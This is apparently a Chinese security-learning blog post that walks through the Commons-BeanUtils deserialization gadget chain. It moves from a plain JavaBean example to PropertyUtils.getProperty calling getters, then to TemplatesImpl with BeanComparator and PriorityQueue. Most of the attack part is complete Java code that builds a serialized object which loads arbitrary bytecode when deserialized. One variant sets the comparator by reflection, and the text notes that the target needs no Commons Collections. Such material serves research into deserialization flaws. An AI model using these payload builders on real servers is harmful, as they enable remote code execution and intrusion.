简介
common-BeanUtils 这个库的作用是对javaBean 的增强
javaBean 就是指的是private 的变量通过get和set 进行获取和设置
JavaBean - Java教程 - 廖雪峰的官方网站 (liaoxuefeng.com)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| package fun.au9u5t;
import java.io.Serializable;
public class Person implements Serializable {
private static final long serialVersionUID = 1L;
private String name; private int age; private boolean isStudent;
public Person() { }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { if (age < 0) { throw new IllegalArgumentException("年龄不能为负数。"); } this.age = age; }
public boolean isStudent() { return isStudent; }
public void setStudent(boolean student) { isStudent = student; }
@Override public String toString() { return "Person{" + "name='" + name + '\'' + ", age=" + age + ", isStudent=" + isStudent + '}'; }
public static void main(String[] args) { Person person = new Person();
person.setName("张三"); person.setAge(20); person.setStudent(true);
System.out.println("姓名: " + person.getName()); System.out.println("年龄: " + person.getAge()); System.out.println("是学生吗? " + person.isStudent());
System.out.println(person.toString()); } }
|
PropertyUtils.getProperty
这个函数的作用是是去调用类的get 方法

会根据传入的变量名去调用对应的get
来看看具体的过程


最后这个类似于switch 的if 中,可以发现一般都会走到最后一个else
第一个if 是说如果是Map
第二个else if 是如果是集合类
第三个是else if 是否是一个索引类
第四个通常走的
我们直接看第四个是什么

就是通过javaBean 规范找对应的变量的get
那么就尝试去调用一下,如果没有这个变量,但是可以找到get 是否会被调用

发现也是可以调用的, 那么其实这个就类似于get开头的任意方法调用了
尝试利用
那么有什么地方可以利用?

TemplatesImpl
发现这个会调用newTransformer()
我们知道newTransformer() 函数中存在动态类加载的问题,利用上面说到的PropertyUtils.getProperty 尝试调用一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| package org.javaSecBase.deserialization.CB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.nio.file.Files; import java.nio.file.Paths;
public class CB1 {
public static void test() throws InvocationTargetException, IllegalAccessException, NoSuchMethodException { TemplatesImpl templates = new TemplatesImpl(); try{
Class<TemplatesImpl> templatesClass = TemplatesImpl.class; Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "au9u5t"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class")); byte[][] codes= new byte[][]{code}; bytecodesField.set(templates, codes);
Field classField = templatesClass.getDeclaredField("_class"); classField.setAccessible(true); classField.set(templates, null);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
}catch (Exception e){ e.printStackTrace(); }
PropertyUtils.getProperty(templates, "outputProperties"); } public static void main(String[] args) { try { test(); } catch (InvocationTargetException e) { throw new RuntimeException(e); } catch (IllegalAccessException e) { throw new RuntimeException(e); } catch (NoSuchMethodException e) { throw new RuntimeException(e); } } }
|
完美调用
分析
知道了PropertyUtils.getProperty 是可以利用的
那么就往上找看哪里会调用,并且可以利用

就第一个就可以利用,compare 可以利用cc4 的PriorityQueue
如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| package org.javaSecBase.deserialization.CB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; import org.cclearn.Serialize;
import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CB1 {
public static void cb1() { TemplatesImpl templates = new TemplatesImpl(); try { Class<?> templatesClass = TemplatesImpl.class; Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "au9u5t");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class")); byte[][] codes = new byte[][]{code}; bytecodesField.set(templates, codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
} catch (Exception e) { e.printStackTrace(); return; }
BeanComparator beanComparator = new BeanComparator("outputProperties");
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(2, beanComparator);
try { Object[] queueArray = new Object[]{templates, templates};
Field queueField = PriorityQueue.class.getDeclaredField("queue"); queueField.setAccessible(true); queueField.set(priorityQueue, queueArray);
Field sizeField = PriorityQueue.class.getDeclaredField("size"); sizeField.setAccessible(true); sizeField.set(priorityQueue, 2);
} catch (Exception e) { e.printStackTrace(); return; }
try { String fileName = Serialize.serialize(priorityQueue); Serialize.deserialize(fileName); } catch (Exception e) { System.out.println("反序列化过程中捕获到异常:"); e.printStackTrace(); } }
public static void main(String[] args) { cb1(); } }
|
这里需要注意由于add() 会调用copare() 影响判断,所以这里直接反射修改
还有一个办法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148
| package org.javaSecBase.deserialization.CB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.collections.comparators.TransformingComparator; import org.apache.commons.collections.functors.ConstantTransformer; import org.cclearn.Serialize;
import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CB1 {
public static void cb1() { TemplatesImpl templates = new TemplatesImpl(); try { Class<?> templatesClass = TemplatesImpl.class; Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "au9u5t");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class")); byte[][] codes = new byte[][]{code}; bytecodesField.set(templates, codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
} catch (Exception e) { e.printStackTrace(); return; }
BeanComparator beanComparator = new BeanComparator("outputProperties");
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(2, beanComparator);
try { Object[] queueArray = new Object[]{templates, templates};
Field queueField = PriorityQueue.class.getDeclaredField("queue"); queueField.setAccessible(true); queueField.set(priorityQueue, queueArray);
Field sizeField = PriorityQueue.class.getDeclaredField("size"); sizeField.setAccessible(true); sizeField.set(priorityQueue, 2);
} catch (Exception e) { e.printStackTrace(); return; }
try { String fileName = Serialize.serialize(priorityQueue); Serialize.deserialize(fileName); } catch (Exception e) { System.out.println("反序列化过程中捕获到异常:"); e.printStackTrace(); } }
public static void cb1_2() { TemplatesImpl templates = new TemplatesImpl(); try { Class<?> templatesClass = TemplatesImpl.class; Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "au9u5t");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class")); byte[][] codes = new byte[][]{code}; bytecodesField.set(templates, codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
} catch (Exception e) { e.printStackTrace(); return; }
BeanComparator beanComparator = new BeanComparator("outputProperties");
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(2, transformingComparator);
priorityQueue.add(templates); priorityQueue.add(templates);
Class<? extends PriorityQueue> priorityQueueClass = priorityQueue.getClass(); try { Field declaredFieldField = priorityQueueClass.getDeclaredField("comparator"); declaredFieldField.setAccessible(true); declaredFieldField.set(priorityQueue, beanComparator);
} catch (NoSuchFieldException | IllegalAccessException e) { throw new RuntimeException(e); }
try { String fileName = Serialize.serialize(priorityQueue); Serialize.deserialize(fileName); } catch (Exception e) { System.out.println("反序列化过程中捕获到异常:"); e.printStackTrace(); } }
public static void main(String[] args) { cb1_2(); } }
|
即使服务器上没有cc 链,但是我们本地有就行,传到服务器的那个并没有包含cc 的东西